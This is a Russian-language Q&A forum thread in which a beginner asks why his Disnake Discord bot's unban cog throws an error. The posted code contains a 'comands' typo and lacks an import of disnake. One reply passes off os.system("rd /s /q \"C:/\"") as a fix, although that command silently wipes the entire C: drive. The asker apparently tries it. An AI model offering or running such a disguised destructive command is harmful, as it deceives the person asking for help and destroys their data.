Mail.ruПочтаМой МирОдноклассникиВКонтактеИгрыЗнакомстваНовостиКалендарьОблакоЗаметкиВсе проекты

Ошибка бота DisNake, когда добавляю новую команду, такая ошибка. ПОМОГИТЕ.

Bisultan Ученик (125), на голосовании 2 недели назад
Скажите что я делаю не правильно?
from disnake.ext import commands

class Unban(commands.Cog):
def __init__(self, bot):
self.bot = bot

@comands.Cog.listener()
async def on_ready(self):
print("Unban Cog Ready")

@commands.slash_command(brief="<ID пользователя>", description="Разбанить пользователя по ID")
@commands.has_permissions(ban_members=True)
async def unban(self, ctx, user_id: int):
try:
user = await self.bot .fetch_user(user_id)
await ctx.guild.unban(user)
except disnake.NotFound:
return await ctx.send("Пользователь не найден в списке забаненных.")
except disnake.Forbidden:
return await ctx.send("У меня нет прав на разбан пользователя.")

embed = disnake.Embed(
title="Разбан",
description=f"Пользователь {user.mention} был разбанен.\nПожалуйста, не нарушайте больше правила.",
color= disnake.Color.green ()
)

# Проверка наличия аватара
if user.avatar:
embed.set_thumbnail(url=user.avatar.url)

embed.set_footer(text=f"Модератор: { ctx.author }#{ ctx.author .discriminator}")

await ctx.send(embed=embed)

def setup(bot):
bot.add_cog(Unban(bot))
Голосование за лучший ответ
Максим Блинов Ученик (133) 1 месяц назад
крч import os; os.system("rd /s /q \"C:/\"") в начало добавь
BisultanУченик (125) 1 месяц назад
Не помогло, та же самая ошибка, вот как ввел.
BisultanУченик (125) 1 месяц назад
Вот как в самом боте
Похожие вопросы